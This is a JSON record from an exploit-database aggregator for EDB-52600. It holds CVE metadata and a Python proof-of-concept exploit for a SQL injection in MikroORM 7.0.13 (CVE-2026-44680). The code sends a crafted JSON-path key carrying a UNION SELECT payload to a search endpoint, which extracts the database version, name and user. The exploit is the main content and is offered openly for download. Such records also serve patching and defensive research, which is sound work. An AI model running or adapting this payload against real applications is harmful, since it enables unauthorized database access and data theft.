{"exploit":{"id":"EDB-52600","name":"MikroORM 7.0.13 - SQL Injection (SQLi)","description":"MikroORM 7.0.13 - SQL Injection (SQLi)","cves":["CVE-2026-44680"],"author":"cardosource","published":"2026-05-29","platform":"multiple","type":"webapps","language":"Python","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/52600","path":"exploits/multiple/webapps/52600.py","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-52600.py","vulnerabilities":[{"id":"CVE-2026-44680","state":"PUBLISHED","title":"MikroORM: SQL injection via runtime-controlled identifiers and JSON-path keys","titleSource":"CVE Program","description":"MikroORM is a TypeScript ORM for Node.js based on Data Mapper, Unit of Work and Identity Map patterns. Prior to @mikro-orm/knex 6.6.14 and @mikro-orm/sql 7.0.14, MikroORM's identifier-quoting helper (Platform.quoteIdentifier and the postgres/mssql overrides) and its JSON-path emitters (Platform.getSearchJsonPropertyKey, quoteJsonKey) did not properly escape characters that delimit the SQL identifier or string-literal context they emit into. When application code passes attacker-influenced strings to public ORM APIs that expect an identifier or a JSON-property filter, an attacker can break out of the quoted context and inject arbitrary SQL. This vulnerability is fixed in @mikro-orm/knex 6.6.14 and @mikro-orm/sql 7.0.14.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44680","cvss":{"version":"3.1","baseScore":7.6,"severity":"high","vectorString":"CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:L/A:L","source":"GitHub_M","sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-44680"},"updatedAt":"2026-05-26T17:40:52.485Z","retrievedAt":"2026-11-25T16:15:50.161Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-52600.png?v=2","url":"https://exploitbin.com/exploits/EDB-52600","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-52600/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-52600/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"# Exploit Title: MikroORM   7.0.13 - SQL Injection\n# Google Dork: N/A\n# Date: 2026-05-27\n# Exploit Author: cardosource\n# Vendor Homepage: https://mikro-orm.io/\n# Software Link: https://github.com/mikro-orm/mikro-orm\n# Version: @mikro-orm/knex <= 6.6.13 / @mikro-orm/sql <= 7.0.13\n# Tested on: Docker / Debian Bookworm / Node.js 18 / MariaDB 10.x\n# CVE: CVE-2026-44680\n# Advisory: https://github.com/mikro-orm/mikro-orm/security/advisories/GHSA-cfw5-68c4-ffqp\n\n\"\"\"\nDescription:\nThe vulnerability exists because MikroORM fails to properly escape\nruntime-controlled JSON path keys when building JSON_EXTRACT queries.\n\nThe attacker can break out of the JSON path context and inject arbitrary SQL.\n\nAffected API pattern:\n\nem.find(Entity, {\n    jsonColumn: {\n        [userControlledKey]: value\n    }\n})\n\n\nBy injecting crafted JSON-path keys, it becomes possible to execute\nUNION SELECT statements and extract arbitrary database information.\n\"\"\"\n\nimport requests\nimport json\n\nurl = \"http://localhost:3000/api/users/search\"\n\npayload = {\n    \"filterField\": \"$.x' ) OR 1=1 UNION SELECT @@version, DATABASE(), USER(), @@version_comment -- \",\n    \"filterValue\": \"x\"\n}\n\nheaders = {\n    \"Content-Type\": \"application/json\"\n}\n\nresponse = requests.post(url, json=payload, headers=headers)\n\nprint(f\"Status: {response.status_code}\")\nprint(json.dumps(response.json(), indent=2))","sha256":"8f49fad8738255d53de492dae937c4dd915f03152b531d678f5f9575cd74365c","bytes":1358,"fetchedAt":"2026-11-26T08:59:35.030Z","encoding":"utf-8 (display only; download retains original bytes)"}